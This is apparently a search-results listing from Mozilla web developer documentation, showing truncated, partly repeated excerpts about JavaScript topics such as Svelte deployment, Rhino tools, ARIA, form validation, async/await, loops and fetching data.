...g about Svelte's TypeScript support, and how to use it to make your application more robust. In this final article we will look at how to deploy your application and get it online, and also share some of the resources that you should go on to, to continue your Svelte learning journey. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. You'll need a terminal with node + npm installed to compile and build your app. Objective: Learn how to prepare our Svelte app for production, and what learning resources you should visit next. Note that our application is fully functional and porting it to TypeScript is completely optional. There are differen...
...state, run cd mdn-svelte-tutorial/08-next-steps Or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/08-next-steps Remember to run npm install && npm run dev to start your app in development mode. Compiling our app So far we've been running our app in development mode with npm run dev. As we saw earlier, this instruction tells Svelte to compile our components and
JavaScript files into a public/build/bundle.js file and all the CSS sections of our components into public/build/bundle.css. It also starts a development server and watches for changes, recompiling the app and refreshing the page when a change occurs. Your generated bundle.js and bundle.css files will be something like this (file size on the left): 504 Jul 13 02:43 bundle.css 95981 Jul 13 02:43 bundle.j...
...And 5 more matches
Introduction to cross browser testing - Learn web development
Objective: To gain an understanding of the high-level concepts involved in cross browser testing. What is cross browser testing? Cross browser testing is the practice of making sure that the web sites and web apps you create work across an acceptable number of web browsers. As a web developer, it is your responsibility to make sure that not only do your projects wor...
...o make sure that not only do your projects work, but they work for all your users, no matter what browser, device, or additional assistive tools they are using. You need to think about: Different browsers other than the one or two that you use regularly on your devices, including slightly older browsers that some people might still be using, which don't support all the latest, shiniest CSS and
JavaScript features. Different devices with different capabilities, from the latest greatest tablets and smartphones, through smart TVs, right down to cheap tablets and even older feature phones that may run browsers with limited capabilities. People with disabilities, who use the Web with the aid of assistive technologies like screenreaders, or don't use a mouse (some people use only the keyboard). Rem...
...ross browser issues occur? There are many different reasons why cross browser issues occur, and note that here we are talking about issues where things behave different across different browsers / devices / browsing preferences. Before you even get to cross browser issues, you should have already fixed out bugs in your code (see Debugging HTML, Debugging CSS, and What went wrong? Troubleshooting
JavaScript from previous topics to refresh your memory if needed). Cross browser issues commonly occur because: sometimes browsers have bugs, or implement features differently. This situation is a lot less bad than it used to be; back when IE4 and Netscape 4 were competing to be the dominant browser in the 1990s, browser companies deliberately implemented things differently to each other to try to gain ...
...And 5 more matches
Client-side tooling overview - Learn web development
Overview: Understanding client-side tools Next In this article we provide an overview of modern web tooling, what kinds of tools are available and where you'll meet them in the lifecycle of web app development, and how to find help with individual tools. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages. Objective: To understand what types of client-side tooling there are, and how to find tools and get help with them. Overview of modern tooling Writing software for the web has become more sophisticated through the ages. Although it is still entirely reasonable to write HTML, CSS, and
JavaScript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app. There are some ex...
...icles will go beyond that, focusing on developer tools that help you produce web code more efficiently. From a high-level perspective, you can put client-side tools into the following three broad categories of problems to solve: Safety net -- Tools that are useful during your code development. Transformation -- Tools that transform code in some way, e.g. turning an intermediate language into
JavaScript that a browser can understand. Post-development -- Tools that are useful after you have written your code, such as testing and deployment tools. Let's look at each one of these in more detail. Safety net These are tools that make the code you write a little better. This part of the tooling should be specific to your own development environment, though it's not uncommon for companies to have...
...re present, what error types they are, and what code lines they are present on. Often linters can be configured to not only report errors, but also report any violations of a specified style guide that you team might be using (for example code that is using the wrong number of spaces for indentation, or using template literals rather than regular string literals). eslint is the industry standard
JavaScript linter -- a highly configurable tool for catching potential syntax errors and encouraging "best practices" throughout your code. Some companies and projects have also shared their eslint configs. You can also find linting tools for other languages, such as csslint. Also well-worth looking at is webhint, a configurable, open-source linter for the web that surfaces best practices including approa...
...And 5 more matches
Rhino Debugger
The Rhino
JavaScript debugger is a GUI that allows debugging of interpreted
JavaScript scripts run in Rhino. Note that this debugger will not work with
JavaScript scripts run in the mozilla browser since Rhino is not the engine used in such environments. Current limitations: No breakpoint menu Using the Rhino
JavaScript Debugger The Mozilla Rhino
JavaScript engine includes a source-level debugger for debugging
JavaScript scripts. The debugger is itself a Java program which you may run as java org.mozilla.
javascript.tools.debugger.Main [options] [filename.js] [script-arguments] where the options are the same as the shell. ...
.... Current limitations: No breakpoint menu Using the Rhino
JavaScript Debugger The Mozilla Rhino
JavaScript engine includes a source-level debugger for debugging
JavaScript scripts. The debugger is itself a Java program which you may run as java org.mozilla.
javascript.tools.debugger.Main [options] [filename.js] [script-arguments] where the options are the same as the shell. The Rhino
JavaScript Debugger can debug scripts running in multiple threads and provides facilities to set and clear breakpoints, control execution, view variables, and evaluate arbitrary
JavaScript code in the current scope of an executing script. ...
...ere the options are the same as the shell. The Rhino
JavaScript Debugger can debug scripts running in multiple threads and provides facilities to set and clear breakpoints, control execution, view variables, and evaluate arbitrary
JavaScript code in the current scope of an executing script. Console Window The debugger redirects the System.out, System.in, and System.err streams to an internal
JavaScript console window which provides an editable command line for you to enter
JavaScript code and view system output. The console window maintains a history of the commands you have entered. You may move backward and forward through the history list by pressing the Up/Down arrow keys on the keyboard. ...
...And 5 more matches
Rhino serialization
However, serialization of code in compilation mode has some significant limitations. Serialization provides a way to save the state of an object and write it out to a file or send it across a network connection. Simple serialization example The Rhino shell has two new top-level functions, serialize and deserialize. ...
...owever, serialization of code in compilation mode has some significant limitations. Serialization provides a way to save the state of an object and write it out to a file or send it across a network connection. Simple serialization example The Rhino shell has two new top-level functions, serialize and deserialize. They're intended mainly as examples of the use of serialization: $ java org.mozilla.
javascript.tools.shell.Main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.
javascript.tools.shell.Main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> Here we see a simple case of a function being serialized to a file and then read into a new instance of Rhino and called. Rhino serialization APIs Two new classes, ScriptableOutputStream and Sc...
...tInputStream? To understand the answer we must know what goes on behind the scenes when Rhino serializes objects. How Rhino serialization works By default, Java serialization of an object also serializes objects that are referred to by that object. Upon deserialization the initial object and the objects it refers to are all created and the references between the objects are resolved. ...
...And 5 more matches
Rhino shell
The
JavaScript shell provides a simple way to run scripts in batch mode or an interactive environment for exploratory programming. Invoking the Shell java org.mozilla.
javascript.tools.shell.Main [options] script-filename-or-url [script-arguments] where options are: -e script-source Executes script-source as a
JavaScript script. -f script-filename-or-url Reads script-filename-or-url content and execute it as a
JavaScript script. -opt optLevel / -O optLevel Optimizes at level optLevel, which must be -1 or an integer between 0 and 9. See Rhino Optimization for more details. -version versionNumber Specifies the language version to compile with. The string versionNumber must be one of 100, 110, 120, 130, 140, 150, 160 or 170. ...
... -strict Enable strict mode. -continuations Enable experimental support for continuations and set the optimization level to -1 to force interpretation mode. Starting with Rhino 1.7 this options is no longer available. ...
...ing the help function will print usage and help messages. defineClass(className) Define an extension using the Java class named with the string argument className. Uses ScriptableObject.defineClass() to define the extension. deserialize(filename) Restore from the specified file an object previously written by a call to serialize. gc() Runs the garbage collector. load([filename, ...]) Load
JavaScript source files named by string arguments. If multiple arguments are given, each file is read in and executed in turn. loadClass(className) Load and execute the class named by the string argument className. The class must be a class that implements the Script interface, as will any script compiled by Rhino
JavaScript Compiler. print([expr ...]) Evaluate and print expressions. Evaluates each expr...
...And 5 more matches
JS_InitClass
Syntax JSObject * JS_InitClass(JSContext *cx, JS::HandleObject obj, JS::HandleObject parent_proto, const JSClass *clasp, JSNative constructor, unsigned nargs, const JSPropertySpec *ps, const JSFunctionSpec *fs, const JSPropertySpec *static_ps, const JSFunctionSpec *static_fs); Name Type Description cx JSContext * Pointer to a JS context from which to derive runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject Pointer to the "globals" object to use for initializing the class. ...
...on. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. obj JS::HandleObject Pointer to the "globals" object to use for initializing the class. This must not be NULL. Once JS_InitClass creates the new class's constructor, it stores the constructor as a property in this object. So, for example, if this object is JS_GetGlobalObject(cx), then
JavaScript code will be able to see the new class as a global name. parent_proto JS::HandleObject Pointer to an object to be used as a prototype. JS_InitClass always creates a new prototype object that serves as the __proto__ for class instances; parent_proto becomes the __proto__ of that prototype object. clasp JSClass * Pointer to the class structure to initialize. This struc...
...object. All instances of the new class will inherit these properties via the prototype chain. fs JSFunctionSpec * Either NULL or a pointer to the first element of an array of JSFunctionSpecs, terminated by JS_FS_END. These functions, if any, are added to the class's new prototype object. All instances of the new class will inherit these methods via the prototype chain. ...
...And 5 more matches
SpiderMonkey 1.8
--9 March 2009 Known issues SpiderMonkey 1.8 has one known significant regression from 1.7. ...
... --9 March 2009 Known issues SpiderMonkey 1.8 has one known significant regression from 1.7. ...
... --9 March 2009 Known issues SpiderMonkey 1.8 has one known significant regression from 1.7. In JS_THREADSAFE builds, some objects are not safe to be shared among threads. This includes iterators and generators (bug 349263) and arrays (bug 417501). ...
...And 5 more matches
Debugger.Memory - Firefox Developer Tools
Debugger.Memory The Debugger API can help tools observe the debuggee's memory use in various ways: It can mark each new object with the
JavaScript call stack at which it was allocated. It can log all object allocations, yielding a stream of
JavaScript call stacks at which allocations have occurred. It can compute a census of items belonging to the debuggee, categorizing items in various ways, and yielding item counts. Ifdbg is a Debugger instance, then the methods and accessor properties of dbg.memory control howdbg observes its debuggees' memory use. ...
... compute a census of items belonging to the debuggee, categorizing items in various ways, and yielding item counts. Ifdbg is a Debugger instance, then the methods and accessor properties of dbg.memory control howdbg observes its debuggees' memory use. The dbg.memory object is an instance of Debugger.Memory; its inherited accesors and methods are described below. Allocation Site Tracking The
JavaScript engine marks each new object with the call stack at which it was allocated, if: the object is allocated in the scope of a global object that is a debuggee of some Debugger instancedbg; and dbg.memory.trackingAllocationSites is set to true. A Bernoulli trial succeeds, with probability equal to the maximum of d.memory.allocationSamplingProbability of all Debugger instances d that ...
...ingProbability of all Debugger instances d that are observing the global that this object is allocated within the scope of. Given a Debugger.Object instancedobj referring to some object, dobj.allocationSite returns a saved call stack indicating wheredobj's referent was allocated. Allocation Logging Ifdbg is a Debugger instance, and dbg.memory.trackingAllocationSites is set to true, then the
JavaScript engine logs each object allocated bydbg's debuggee code. You can retrieve the current log by calling dbg.memory.drainAllocationsLog. You can control the limit on the log's size by setting dbg.memory.maxAllocationsLogLength. Censuses A census is a complete traversal of the graph of all reachable memory items belonging to a particular Debugger's debuggees. It produces a count of those items, brok...
...And 5 more matches
Web applications and ARIA FAQ - Accessibility
including those who use assistive technologies such as screen readers or magnifiers. ARIA provides additional semantics to describe the role, state, and functionality of many familiar user interface controls, such as menus, sliders, trees, and dialogs. It also provides additional structural information, helping authors identify landmarks, regions, and grids on their pages. ARIA enables dynamic,
JavaScript-driven applications and widgets to interoperate with a variety of desktop-based assistive technologies. For more information about how to create accessible widgets with ARIA, see the Overview of accessible web applications and widgets. Where is ARIA Supported? ARIA is a relatively new specification, but support for it is growing. A wide variety of commonly-used browsers, assistive technologies...
...riven applications and widgets to interoperate with a variety of desktop-based assistive technologies. For more information about how to create accessible widgets with ARIA, see the Overview of accessible web applications and widgets. Where is ARIA Supported? ARIA is a relatively new specification, but support for it is growing. A wide variety of commonly-used browsers, assistive technologies,
JavaScript toolkits, and applications now support ARIA. However, many users may still be using older versions of these technologies. You may want to consider implementing ARIA using progressive enhancement techniques--such as adding ARIA using
JavaScript, not directly to your markup--in order to more gracefully support older browsers and assistive technologies. Browsers ARIA is supported in the following ...
... OSX 10.5, iOS 4 OS X 10.7 iOS 5 JAWS 8 10 Window-Eyes 7 No live region support currently ZoomText ? No live region support currently Note: Early versions of these tools often had partial or buggy ARIA implementations. For notes on JAWS support for ARIA as of JAWS 10, see this article from the Paciello Group: JAWS Support for ARIA. ...
...And 5 more matches
Accessibility documentation index - Accessibility
o A11y--as in "a" then 11 characters then "y") in Web development means enabling as many people as possible to use Web sites, even when those people's abilities are limited in some way. 2 ARIA ARIA, Accessibility, HTML Accessible Rich Internet Applications (ARIA) is a set of attributes that define ways to make web content and web applications (especially those developed with
JavaScript) more accessible to people with disabilities. It supplements HTML so that interactions and widgets commonly used in applications can be passed to assistive technologies 3 ARIA Screen Reader Implementors Guide ARIA, Accessibility This is just a guide. Live region markup is a complex area which is somewhat open to interpretation. The following is intended to provide implementat...
... related to a part of a document under review). 6 ARIA guides ARIA Accessible Rich Internet Applications (ARIA) defines ways to make the Web more accessible to people with disabilities. A few guidelines to follow that ensure better accessibility, like using drag and drop for placement of the widgets. 7 ARIA live regions ARIA, Accessibility, ariaLive Using
JavaScript, it is possible to dynamically change parts of a page without requiring the entire page to reload -- for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction. While these changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies. ARIA liv...
... of the elements that describe the object. It is used to establish a relationship between widgets or groups and text that described them. This is very similar to aria-labelledby: a label describes the essence of an object, while a description provides more information that the user might need. ...
...And 5 more matches
Constraint validation - Developer guides
is easy, checking whether each field has a valid and coherent value is more difficult, and informing the user about the problem may become a headache. HTML5 introduced new mechanisms for forms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side. Basic, usual constraints can be checked, without the need for
JavaScript, by setting new attributes; more complex constraints can be tested using the Constraint validation API. For a basic introduction to these concepts, with examples, see the Form validation tutorial. Note: HTML5 Constraint validation doesn't remove the need for validation on the server side. Even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compl...
...ted using the Constraint validation API. For a basic introduction to these concepts, with examples, see the Form validation tutorial. Note: HTML5 Constraint validation doesn't remove the need for validation on the server side. Even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instance, browsers without HTML5 and without
JavaScript) or by bad people trying to trick your web application. Therefore, like with HTML4, you need to also validate input constraints on the server side, in a way that is consistent with what is done on the client side. Intrinsic and basic constraints In HTML5, basic constraints are declared in two ways: By choosing the most semantically appropriate value for the type attribute of the <input> elem...
...sic constraints are declared in two ways: By choosing the most semantically appropriate value for the type attribute of the <input> element, e.g., choosing the email type automatically creates a constraint that checks whether the value is a valid e-mail address. By setting values on validation-related attributes, allowing basic constraints to be described in a simple way, without the need for
JavaScript. Semantic input types The intrinsic constraints for the type attribute are: Input type Constraint description Associated violation <input type="URL"> The value must be an absolute URL, as defined in the URL Living Standard. TypeMismatch constraint violation <input type="email"> The value must be a syntactically valid email address, which generally...
...And 5 more matches
Index - Developer guides
Found 43 pages: # Page Tags and summary 1 Developer guides API, Guide, Landing, Web These articles provide how-to information to help make use of specific web technologies and APIs. ...
... Found 43 pages: # Page Tags and summary 1 Developer guides API, Guide, Landing, Web These articles provide how-to information to help make use of specific web technologies and APIs. ...
... 5 WAI ARIA Live Regions/API Support AJAX, Accessibility Firefox 3 contains important improvements to the way the Mozilla engine exposes live changes in a document. ...
...And 5 more matches
Populating the page: how browsers work - Web Performance
rowser receives the first chunk of data, it can begin parsing the information received. Parsing is the step the browser takes to turn the data it receives over the network into the DOM and CSSOM, which is used by the renderer to paint a page to the screen. The DOM is the internal representation of the markup for the browser. The DOM is also exposed, and can be manipulated through various APIs in
JavaScript. Even if the request page's HTML is larger than the initial 14KB packet, the browser will begin parsing and attempting to render an experience based on the data it has. This is why it's important for web performance optimization to include everything the browser needs to start rendering a page, or at least a template of the page - the CSS and HTML needed for the first render -- in the first 14 k...
...he browser will begin parsing and attempting to render an experience based on the data it has. This is why it's important for web performance optimization to include everything the browser needs to start rendering a page, or at least a template of the page - the CSS and HTML needed for the first render -- in the first 14 kilobytes. But before anything is rendered to the screen, the HTML, CSS, and
JavaScript have to be parsed. Building the DOM tree We describe five steps in the critical rendering path. The first step is processing the HTML markup and building the DOM tree. HTML parsing involves tokenization and tree construction. HTML tokens include start and end tags, as well as attribute names and values. If the document is well-formed, parsing it is straightforward and faster. The parser parses...
...efer attribute--block rendering, and pause the parsing of HTML. Though the browser's preload scanner hastens this process, excessive scripts can still be a significant bottleneck. Preload scanner While the browser builds the DOM tree, this process occupies the main thread. As this happens, the preload scanner will parse through the content available and request high priority resources like CSS,
JavaScript, and web fonts. Thanks to the preload scanner, we don't have to wait until the parser finds a reference to an external resource to request it. It will retrieve resources in the background so that by the time the main HTML parser reaches requested assets, they may possibly already be in flight, or have been downloaded. The optimizations the preload scanner provides reduce blockages. <link rel="st...
...And 5 more matches
Progressive loading - Progressive web apps (PWAs)
oad, the bigger the chance they will leave before waiting for everything to finish. We should be able to show them at least the basic view of the page they want to see, with placeholders in the places more content will eventually be loaded. This could be achieved by progressive loading -- also known as Lazy loading. This is all about deferring loading of as many resources as possible (HTML, CSS,
JavaScript), and only loading those immediately that are really needed for the very first experience. Bundling versus splitting Many visitors won't go through every single page of a website, yet the usual approach is to bundle every feature we have into one big file. A bundle.js file can be many megabytes, and a single style.css bundle can contain everything from basic CSS structure definitions to all the...
...of every version of the site: mobile, tablet, desktop, print only, etc. It is faster to load all that information as one file rather than many small ones, but if the user doesn't need everything at the very beginning, we could load only what's crucial and then manage other resources when needed. ...
...nd then manage other resources when needed. Render-blocking resources Bundling is a problem, because the browser has to load the HTML, CSS, and
JavaScript before it can paint their rendered results onto the screen. During the few seconds between initial website access and completion of loading, the user sees a blank page, which is a bad experience. To fix that we can, for example, add defer to
JavaScript files: <script src="app.js" defer></script> They will be downloaded and executed after the document itself has been parsed, so it won't block rendering the HTML structure. We can also split css files and add media types to them: <link rel="stylesheet" href="style.css"> <link rel="stylesheet" href="print.css" media="print"> This will tell the browser to load them only when the condition is m...
...And 5 more matches
Code snippets - Archive of obsolete content
rse, write, manipulate, etc. ...
...This lets you access data in typed arrays using C-like string functions. Rosetta By default, the only possible standardized scripting language for HTML is ECMAScript. ...
...This lets you access data in typed arrays using C-like string functions. Rosetta By default, the only possible standardized scripting language for HTML is ECMAScript. ...
...And 4 more matches
Using the Editor from XUL - Archive of obsolete content
s article may be out of date. Overview The editor in XUL lives on top of a XUL <iframe> element; it observes document loading in this <iframe>, and, when document loading is complete, it instantiates an editor on the loaded document. The <iframe> contents are then editable. Note that the <editor> element is really just an <iframe> which takes over some of the task of creating the editor from
JavaScript. Editor creation So let's trace through the process of editor creation when bringing up the composer window. You can find the relevant XUL parts in editor.xul, the
JavaScript parts in editor.js, and the XBL binding for the editor element in editor.xml. Something, somewhere, tells Mozilla to open the composer window. editor.xul is loaded. In editor.xul, the <window> tag has an onload handl...
... The XUL contains an <editor> tag, e.g.: <editor type="content-primary" id="content-frame" src="about:blank" flex="1"/> The attribute type="content-primary" identifies this as the window content element, i.e. ...
...lementById("content-frame") or window._content here. The important stuff in EditorStartup() begins where we get or create an editorShell. The <editor> tag actually creates an nsEditorBoxObject behind the scenes. The nsEditorBoxObject creates an nsEditorShell, and holds the owning reference to it. Through the magic of XBL, the XUL bindings, and the nsIEditorBoxObject interface, you can get a
JavaScript reference to the editorShell from the editor element with element.editorShell. We thus have an editorShell to play with. Now we set up the editorShell by calling its Init() method, telling it what type of editor we want (text or HTML), pointing it at the webShellWindow to use, and telling it the content node that it lives on: editorShell.Init(); editorShell.SetEditorType(editorType); edi...
...And 4 more matches
ECMAScript 5 support in Mozilla - Archive of obsolete content
String.trim() method, which trims whitespace from both ends of the string. ...
... String.trim() method, which trims whitespace from both ends of the string. ...
... String.trim() method, which trims whitespace from both ends of the string. ...
...And 4 more matches
Examples - Archive of obsolete content
Please refer to the article to learn more about these examples. If you wish to test these examples by yourself, please read the Important Notes. Important Notes If you plan to test these examples by yourself, you must use the right filename extension (it is written at the beginning of the code). Ideally, upload the file to a web server and you're done. Please note that the examples 4, 5 and 6 require a file named style.css to exist in the same directory as the example. You can get the contents of style.css at the bottom of this page. ...
...ension and will generate an error when parsed. --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"> <head> <title>Problem 1 - < in XHTML</title> <meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8" /> <script type="text/
javascript"> var i = 0; while (++i > 10) { // ... } </script> </head> <body> <h1>Problem 1 - < in XHTML</h1> <p> This document is not well formed due to the use of a raw <. </p> </body> </html> Back to the article Problem 2 <!-- This file should have a .xhtml extension --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xh...
... </p> <p> This document contains inline CSS rules contained in a <code>style</code> element and ...
...And 4 more matches
Anatomy of a video game - Game development
Experienced game programmers who are new to web development could also benefit, too. ...
...implemented in something called a main loop. If your game loops based on time then this will be its authority that your simulations will adhere to. But it might not need per-frame control. Your game loop might be similar to the find the differences example and base itself on input events. It might require both input and simulated time. It might even loop based on something else entirely. ...
...Modern browsers strive to call methods right as they are needed and idle (or do their other tasks) in the gaps. It is an excellent idea to attach your code to the moments that are appropriate for them. ...
...And 4 more matches
Accessible multimedia - Learn web development
Previous Overview: Accessibility Next Another category of content that can create accessibility problems is multimedia -- video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users. This article shows how. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and
JavaScript, an understanding of what accessibility is. Objective: To understand the accessibility issues behind multimedia, and how to overcome them. Multimedia and accessibility So far in this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging from simple text content to data tables, images, native controls such as form elements and b...
...bbit320.webm" type="video/webm"> <p>Your browser doesn't support HTML5 video. ...
...ss="controls"> <button class="playpause">Play</button> <button class="stop">Stop</button> <button class="rwd">Rwd</button> <button class="fwd">Fwd</button> <div class="time">00:00</div> </div> </section>
JavaScript basic setup We've inserted some simple control buttons below our video. These controls of course won't do anything by default; to add functionality, we will use
JavaScript. ...
...And 4 more matches
Practical positioning examples - Learn web development
d "single page apps" are becoming very popular -- especially for mobile web UIs -- because having everything served as a single file cuts down on the number of HTTP requests required to view all the content, thereby improving performance. Note: Some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a
JavaScript feature such as XMLHttpRequest. At this point in your learning however we want to keep things as simple as possible. There is some
JavaScript later on, but only a tiny bit. To start with, we'd like you to make a local copy of the starting HTML file -- info-box-start.html. Save this somewhere sensible on your local computer, and open it up in your text editor. Let's look at the HTML contained wi...
...click on for displaying our content panels. The div contains three <article> elements, which will make up the content panels that correspond to each tab. Each panel contains some sample content. The idea here is that we will style the tabs to look like a standard horizontal navigation menu, and style the panels to sit on top of one another using absolute positioning. We'll also give you a bit of
JavaScript to include on your page to display the corresponding panel when a tab is pressed, and style the tab itself. You won't need to understand the
JavaScript itself at this stage, but you should think about learning some basic
JavaScript as soon as possible -- the more complex your UI features become, the more likely it is that you'll need some
JavaScript to implement your desired functionality. Gener...
...red; color: black; text-align: center; } Finally for this section we'll set some styles on the link states. First, we'll set the :focus and :hover states of the tabs to look different when they are focused/hovered, providing users with some visual feedback. Secondly, we'll set a rule that puts the same styling on one of the tabs when a class of active is present on it. We will set this using
JavaScript when a tab is clicked on. Place the following CSS below your other styles: .info-box li a:focus, .info-box li a:hover { background-color: #a60000; color: white; } .info-box li a.active { background-color: #a60000; color: white; } Styling the panels The next job is to style our panels. Let's get going! First, of all, add the following rule to style the .panels <div> container. Here we...
...And 4 more matches
HTML forms in legacy browsers - Learn web development
e always side effects. The best approach remains to not style HTML Form widgets at all. But you can still apply styles to all the surrounding items. And, if you must alter the default styles of your form widgets, define a style guide to ensure consistency among all your form controls so user experience is not destroyed. You can also investigate some hard techniques such as rebuilding widgets with
JavaScript. But in that case, do not hesitate to charge your client for such foolishness. Feature detection and polyfills CSS and
JavaScript are awesome technologies, but it's important to ensure you don't break legacy browsers. Before using features that aren't fully supported in the browsers your targeting, you should feature detect: CSS feature detection Before styling a replaced form control widget,...
...dget, you can check to see if the browser supports the features you plan on using using @supports: @supports (appearance: none) { input[type="search"] { appearance: none; /* restyle the search input */ } Theappearance property can be used to display an element using platform-native styling, or, as is done with the value of none, remove default platform-native based styling. ...
..."search"] { appearance: none; /* restyle the search input */ } Theappearance property can be used to display an element using platform-native styling, or, as is done with the value of none, remove default platform-native based styling. Unobtrusive
JavaScript One of the biggest problems is the availability of APIs. For that reason, it's considered best practice to work with "unobtrusive"
JavaScript. It's a development pattern that defines two requirements: A strict separation between structure and behaviors. If the code breaks, the content and the basic functionalities must remain accessible and usable. The principles of unobtrusive
JavaScript (originally written by Peter-Paul Koch for Dev.Opera.com) describes these ideas very well. The Modernizr library There are many cases where a...
...And 4 more matches
Making asynchronous programming easier with async and await - Learn web development
Previous Overview: Asynchronous Next More recent additions to the
JavaScript language are async functions and the await keyword, part of the so-called ECMAScript 2017
JavaScript edition (see ECMAScript Next support in Mozilla). These features basically act as syntactic sugar on top of promises, making asynchronous code easier to write and to read afterwards. They make async code look more like old-school synchronous code, so they're well worth learning. This article gives you what you need to know. Prerequisites: Basic computer literacy, a reasonable understanding of
JavaScript fundamentals, an understanding of async code in general and promises. Objective: To understand promises and how to use them. The basics of async/await There are two parts to using as...
...hand such as hello().then(console.log) Like we saw in the last article. So the async keyword is added to functions to tell them to return a promise rather than directly returning the value. In addition, this lets synchronous functions avoid any potential overhead that comes with running with support for using await. By only adding the necessary handling when the function is declared async, the
JavaScript engine can optimize your program for you. Sweet! The await keyword The real advantage of async functions becomes apparent when you combine it with the await keyword -- in fact, await only works inside async functions. This can be put in front of any async promise-based function to pause your code on that line until the promise fulfills, then return the resulting value. In the meantime, other co...
...rks inside of async functions. Inside the myFetch() function definition you can see that the code closely resembles the previous promise version, but there are some differences. Instead of needing to chain a .then() block on to the end of each promise-based method, you just need to add an await keyword before the method call, and then assign the result to a variable. The await keyword causes the
JavaScript runtime to pause your code on this line, allowing other code to execute in the meantime, until the async function call has returned its result. Once that's complete, your code continues to execute starting on the next line. For example: let response = await fetch('coffee.jpg'); The response returned by the fulfilled fetch() promise is assigned to the response variable when that response becomes...
...And 4 more matches
Looping code - Learn web development
Previous Overview: Building blocks Next Programming languages are very useful for rapidly completing repetitive tasks, from multiple basic calculations to just about any other situation where you've got a lot of similar items of work to complete. Here we'll look at the loop structures available in
JavaScript that handle such needs. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS,
JavaScript first steps. Objective: To understand how to use loops in
JavaScript. Keep me in the loop Loops, loops, loops. As well as being associated with popular breakfast cereals, roller coasters, and musical production, they are also a critical concept in programming. Programming loops are all to do with doing the same thing over and over again -- w...
...of the loop, we check whether the amount of food the farmer has is larger or equal to the amount he needs. If so, we can exit the loop. If not, the farmer spends an hour collecting two portions of food, and the loop runs again. Why bother? At this point, you probably understand the high-level concepts behind loops, but you are probably thinking "OK, great, but how does this help me write better
JavaScript code?" As we said earlier, loops are all to do with doing the same thing over and over again, which is great for rapidly completing repetitive tasks. Often, the code will be slightly different on each successive iteration of the loop, which means that you can complete a whole load of tasks that are similar but slightly different -- if you've got a lot of different calculations to do, you want to...
...const para = document.querySelector('p'); for (let i = 0; i < cats.length; i++) { info += cats[i] + ', '; } para.textContent = info; </script> </body> </html> Note: You can find this example code on GitHub too (also see it running live). This shows a loop is used to iterate over the items in an array and do something with each of them -- a very common pattern in
JavaScript. Here: The counter variable (sometimes known as an initializer or an iteration variable), i, starts at 0 (let i = 0). The loop has been told to run until i is no longer smaller than the length of the cats array. This is important -- the condition is the condition under which the loop will still run. So in this case, while i < cats.length is still true, the loop will still run. Inside the loo...
...And 4 more matches
Making decisions in your code — conditionals - Learn web development
ramming language, the code needs to make decisions and carry out actions accordingly depending on different inputs. For example, in a game, if the player's number of lives is 0, then it's game over. In a weather app, if it is being looked at in the morning, show a sunrise graphic; show stars and a moon if it is nighttime. In this article, we'll explore how so-called conditional statements work in
JavaScript. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS,
JavaScript first steps. Objective: To understand how to use conditional structures in
JavaScript. You can have it on one condition..! Human beings (and other animals) make decisions all the time that affect their lives, from small ("should I eat one cookie or two?") to large ("should I...
...tructures in
JavaScript. ...
... Basic if ... else syntax Basic if...else syntax looks like the following in pseudocode: if (condition) { code to run if condition is true } else { run some other code instead } Here we've got: The keyword if followed by some parentheses. A condition to test, placed inside the parentheses (typically "is this value bigger than this other value?", or "d...
...And 4 more matches
Fetching data from the server - Learn web development
and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page. This seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept and look at technologies that make it possible, such as XMLHttpRequest and the Fetch API. Prerequisites:
JavaScript basics (see first steps, building blocks,
JavaScript objects), the basics of Client-side APIs Objective: To learn how to fetch data from the server and use it to update the contents of a web page. What is the problem here? Originally page loading on the web was simple -- you'd send a request for a website to a server, and as long as nothing went wrong, the assets that made the...
...helping to solve the problem described above. This is achieved by using APIs like XMLHttpRequest or -- more recently -- the Fetch API. These technologies allow web pages to directly handle making HTTP requests for specific resources available on a server and formatting the resulting data as needed before it is displayed. Note: In the early days, this general technique was known as Asynchronous
JavaScript and XML (AJAX), because it tended to use XMLHttpRequest to request XML data. This is normally not the case these days (you'd be more likely to use XMLHttpRequest or Fetch to request JSON), but the result is still the same, and the term "Ajax" is still often used to describe the technique. The Ajax model involves using a web API as a proxy to more intelligently request data rather than just ha...
...se of security restrictions (for more on web security, read Website security). To get around this, we need to test the example by running it through a local web server. To find out how to do this, read How do you set up a local testing server? Fetch The Fetch API is basically a modern replacement for XHR; it was introduced in browsers recently to make asynchronous HTTP requests easier to do in
JavaScript, both for developers and other APIs that build on top of Fetch. Let's convert the last example to use Fetch instead. Make a copy of your previous finished example directory. (If you didn't work through the previous exercise, create a new directory and inside it make copies of xhr-basic.html and the four text files -- verse1.txt, verse2.txt, verse3.txt, and verse4.txt.) Inside the upd...
...And 4 more matches
Video and Audio APIs - Learn web development
